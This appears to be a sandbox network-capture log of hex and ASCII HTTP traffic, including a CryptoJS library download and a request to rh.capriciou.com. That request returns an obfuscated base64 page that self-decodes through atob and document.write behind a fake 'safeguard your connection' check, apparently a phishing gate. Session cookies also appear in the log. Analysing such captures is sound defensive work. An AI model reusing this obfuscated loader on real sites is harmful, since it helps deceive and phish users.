{"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8def672b2fd96b31-DFW alt-svc: h3=":443"; ma=86400
2024-11-07 18:31:55 UTC	413	IN	Data Raw: 37 62 66 35 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7bf5!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2024-11-07 18:31:55 UTC	1369	IN	Data Raw: 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 2e Data Ascii: ndow.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.
2024-11-07 18:31:55 UTC	1369	IN	Data Raw: 3c 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e Data Ascii: <n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:function
2024-11-07 18:31:55 UTC	1369	IN	Data Raw: 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 6f 63 65 73 73 42 Data Ascii: ,this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._doProcessB
2024-11-07 18:31:55 UTC	1369	IN	Data Raw: 3f 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 Data Ascii: ?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1]>>>0?1:0
2024-11-07 18:31:55 UTC	1369	IN	Data Raw: 5d 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 Data Ascii: ]>>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+oo,c=((4294901760&i)i\|0)+((
2024-11-07 18:31:55 UTC	1369	IN	Data Raw: 2a 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 39 34 39 36 37 32 39 36 Data Ascii: 2,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=4294967296
2024-11-07 18:31:55 UTC	1369	IN	Data Raw: 6d 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b 33 38 5d 29 2c 6d 3d 43 Data Ascii: m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[38]),m=C
2024-11-07 18:31:55 UTC	1369	IN	Data Raw: 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 Data Ascii: call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<<o\|c
2024-11-07 18:31:55 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 2c 2e 35 29 29 29 2c 42 Data Ascii: tion(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r,.5))),B

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:31:55 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-07 18:31:55 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0790) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=45162 Date: Thu, 07 Nov 2024 18:31:55 GMT Connection: close X-CID: 2

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:31:56 UTC	688	OUT	GET /ZhZW/ HTTP/1.1 Host: rh.capriciou.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://alminifholding.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 18:31:57 UTC	1219	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 18:31:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Go7dEYqUld8ZjfCuSxgEjXpP%2F1GONGP6w5CeV55HNx7f2y%2BzVfMFb%2B3gk93SxZEdL1kZ7xRQK5Rvlw7nnnCadGmWZQ7cGRt1k6C%2FpZ6CffxzPKqAHmgRsqTNCqh0Hg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1346&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1602&delivery_rate=2819863&cwnd=251&unsent_bytes=0&cid=0296c92cc2f70247&ts=636&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InZDZjZkazVpMHpEWUNBRXV3bHJoUEE9PSIsInZhbHVlIjoia04yY01VNDQxYWcyOGJIZFhJOEVYUExwVGRVMFpWS1hLbHBuTEtaSUlmUUtRQVJLVDdpMkFISDA0TkhyeTd1aHpmTXB6T3hXSWFCZGNSd2I0Tmdaa0gxM0tFSVp5Q3JBc1dQaUxURFFvNm5LYS9VcXRlOHV6QkZ4VFFkSS9XbzYiLCJtYWMiOiJiZTM5Yjk1ZjZlYjQxZTliYzA1OTcyODcxMDc4YmE1MWVkMmVkZWFiMTJiMWZjYThkMDkyM2M4MGMxOGQxZTQ3IiwidGFnIjoiIn0%3D; expires=Thu, 07-Nov-2024 20:31:57 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-11-07 18:31:57 UTC	708	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 6b 79 65 44 68 45 4e 6c 6c 55 64 47 4a 56 4d 53 74 59 61 31 6c 44 57 6c 64 55 54 45 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4f 58 67 33 59 57 68 45 61 33 52 47 51 30 38 34 4f 48 4a 4d 65 6c 6c 55 56 48 68 73 61 7a 4e 31 4f 47 78 45 65 56 6f 33 52 6e 70 32 4b 32 35 56 4e 54 4a 31 4d 48 4a 68 4b 33 56 4d 4f 48 4e 53 5a 32 64 79 4f 55 68 76 62 53 74 58 63 48 59 31 55 45 4e 31 57 45 68 4e 51 33 64 79 5a 57 74 6e 54 57 70 70 53 6b 31 30 62 46 4e 32 51 7a 41 7a 63 57 56 32 54 55 4e 32 63 30 78 68 51 7a 4a 47 63 56 4a 72 5a 31 4a 4d 63 48 4e 46 54 57 56 59 4e 58 4e 36 62 6e 6c 34 63 45 70 34 55 6c 6f 31 59 58 4e 30 4e 32 35 6c 52 47 55 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjkyeDhENllUdGJVMStYa1lDWldUTEE9PSIsInZhbHVlIjoiOXg3YWhEa3RGQ084OHJMellUVHhsazN1OGxEeVo3Rnp2K25VNTJ1MHJhK3VMOHNSZ2dyOUhvbStXcHY1UEN1WEhNQ3dyZWtnTWppSk10bFN2QzAzcWV2TUN2c0xhQzJGcVJrZ1JMcHNFTWVYNXN6bnl4cEp4Ulo1YXN0N25lRGU
2024-11-07 18:31:57 UTC	811	IN	Data Raw: 33 64 38 38 0d 0a 3c 21 2d 2d 20 54 68 65 20 73 65 63 72 65 74 20 6f 66 20 67 65 74 74 69 6e 67 20 61 68 65 61 64 20 69 73 20 67 65 74 74 69 6e 67 20 73 74 61 72 74 65 64 2e 20 2d 2d 3e 0d 0a 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 53 51 69 35 6a 59 58 42 79 61 57 4e 70 62 33 55 75 59 32 39 74 4c 31 70 6f 57 6c 63 76 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 69 41 67 49 43 Data Ascii: 3d88... The secret of getting ahead is getting started. --><script>if(atob("aHR0cHM6Ly9SQi5jYXByaWNpb3UuY29tL1poWlcv") == "nomatch"){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgIC
2024-11-07 18:31:57 UTC	1369	IN	Data Raw: 42 6a 62 32 35 30 5a 57 35 30 50 53 4a 33 61 57 52 30 61 44 31 6b 5a 58 5a 70 59 32 55 74 64 32 6c 6b 64 47 67 73 49 47 6c 75 61 58 52 70 59 57 77 74 63 32 4e 68 62 47 55 39 4d 53 34 77 49 6a 34 4e 43 69 41 67 49 43 41 38 64 47 6c 30 62 47 55 2b 4a 69 4d 34 4d 6a 41 7a 4f 7a 77 76 64 47 6c 30 62 47 55 2b 44 51 6f 67 49 43 41 67 50 48 4e 30 65 57 78 6c 50 67 30 4b 59 6d 39 6b 65 53 42 37 44 51 6f 67 49 47 4a 68 59 32 74 6e 63 6d 39 31 62 6d 51 74 59 32 39 73 62 33 49 36 49 43 4e 6d 5a 6d 59 37 44 51 6f 67 49 47 68 6c 61 57 64 6f 64 44 6f 67 4d 54 41 77 4a 54 73 4e 43 69 41 67 62 33 5a 6c 63 6d 5a 73 62 33 63 36 49 47 68 70 5a 47 52 6c 62 6a 73 4e 43 6e 30 4e 43 69 4e 47 54 30 64 68 51 32 35 32 63 45 68 4e 49 47 67 30 65 32 31 68 63 6d 64 70 62 69 31 30 62 Data Ascii: Bjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNGT0dhQ252cEhNIGg0e21hcmdpbi10b
2024-11-07 18:31:57 UTC	1369	IN	Data Raw: 47 54 30 64 68 51 32 35 32 63 45 68 4e 49 43 35 74 64 43 30 30 49 48 74 74 59 58 4a 6e 61 57 34 74 64 47 39 77 4f 69 41 78 63 6d 56 74 49 57 6c 74 63 47 39 79 64 47 46 75 64 44 74 39 44 51 6f 6a 52 6b 39 48 59 55 4e 75 64 6e 42 49 54 53 41 6a 54 6d 6c 71 65 48 56 4f 61 48 42 70 53 69 42 37 59 32 39 73 62 33 49 36 49 43 4d 32 59 7a 63 31 4e 32 51 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6a 45 30 63 48 67 37 62 57 46 79 5a 32 6c 75 4c 58 52 76 63 44 6f 67 4c 6a 56 79 5a 57 30 37 66 51 30 4b 49 43 41 67 49 44 77 76 63 33 52 35 62 47 55 2b 44 51 6f 67 49 43 41 67 50 48 4e 6a 63 6d 6c 77 64 44 34 4e 43 69 41 67 49 43 42 7a 5a 58 52 4a 62 6e 52 6c 63 6e 5a 68 62 43 67 6f 4b 53 41 39 50 69 42 37 44 51 6f 67 49 43 41 67 59 32 39 75 63 33 51 67 64 44 41 67 50 53 Data Ascii: GT0dhQ252cEhNIC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQojRk9HYUNudnBITSAjTmlqeHVOaHBpSiB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCiAgICBzZXRJbnRlcnZhbCgoKSA9PiB7DQogICAgY29uc3QgdDAgPS
2024-11-07 18:31:57 UTC	1369	IN	Data Raw: 61 57 51 39 49 6d 4a 73 64 47 52 6b 59 58 52 68 49 69 42 75 59 57 31 6c 50 53 4a 69 62 48 52 6b 5a 47 46 30 59 53 49 67 64 6d 46 73 64 57 55 39 49 69 49 2b 44 51 6f 38 4c 32 5a 76 63 6d 30 2b 44 51 6f 38 4c 32 52 70 64 6a 34 4e 43 6a 78 6b 61 58 59 67 59 32 78 68 63 33 4d 39 49 6e 52 6c 65 48 51 74 59 32 56 75 64 47 56 79 49 69 42 70 5a 44 30 69 54 6d 6c 71 65 48 56 4f 61 48 42 70 53 69 49 2b 44 51 70 44 62 32 35 6b 64 57 4e 30 61 57 35 6e 49 47 4e 6f 5a 57 4e 72 63 79 42 30 62 79 42 7a 59 57 5a 6c 5a 33 56 68 63 6d 51 67 65 57 39 31 63 69 42 6a 62 32 35 75 5a 57 4e 30 61 57 39 75 4c 67 30 4b 50 43 39 6b 61 58 59 2b 44 51 6f 38 4c 32 5a 76 63 6d 30 2b 44 51 6f 38 4c 32 52 70 64 6a 34 4e 43 6a 77 76 5a 47 6c 32 50 67 30 4b 50 43 39 6b 61 58 59 2b 44 51 6f Data Ascii: aWQ9ImJsdGRkYXRhIiBuYW1lPSJibHRkZGF0YSIgdmFsdWU9IiI+DQo8L2Zvcm0+DQo8L2Rpdj4NCjxkaXYgY2xhc3M9InRleHQtY2VudGVyIiBpZD0iTmlqeHVOaHBpSiI+DQpDb25kdWN0aW5nIGNoZWNrcyB0byBzYWZlZ3VhcmQgeW91ciBjb25uZWN0aW9uLg0KPC9kaXY+DQo8L2Zvcm0+DQo8L2Rpdj4NCjwvZGl2Pg0KPC9kaXY+DQo
2024-11-07 18:31:57 UTC	1369	IN	Data Raw: 55 52 68 64 47 45 6f 61 6e 42 76 52 45 74 54 64 46 5a 58 61 43 6b 4e 43 69 41 67 49 43 42 39 4b 53 35 30 61 47 56 75 4b 48 4a 6c 63 33 42 76 62 6e 4e 6c 49 44 30 2b 49 48 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 63 6d 56 30 64 58 4a 75 49 48 4a 6c 63 33 42 76 62 6e 4e 6c 4c 6d 70 7a 62 32 34 6f 4b 54 73 4e 43 69 41 67 49 43 42 39 4b 53 35 30 61 47 56 75 4b 47 52 68 64 47 45 67 50 54 34 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 70 5a 69 68 6b 59 58 52 68 57 79 64 7a 64 47 46 30 64 58 4d 6e 58 53 41 39 50 53 41 6e 63 33 56 6a 59 32 56 7a 63 79 63 70 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 73 62 32 4e 68 64 47 6c 76 62 69 35 79 5a 57 78 76 59 57 51 6f 4b 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 66 51 30 4b 49 43 41 67 49 43 41 67 49 43 42 70 Data Ascii: 